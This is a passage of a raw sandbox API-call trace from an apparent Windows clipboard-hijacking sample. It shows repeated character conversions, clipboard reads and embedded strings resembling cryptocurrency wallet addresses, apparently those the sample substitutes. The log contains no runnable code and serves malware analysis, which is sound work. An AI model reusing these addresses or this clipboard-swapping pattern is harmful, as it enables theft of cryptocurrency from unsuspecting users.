lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.329] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.332] Sleep (dwMilliseconds=0x64) [0050.438] GetOpenClipboardWindow () returned 0x0 [0050.438] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.438] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.438] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.438] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.438] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.438] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.438] CloseClipboard () returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 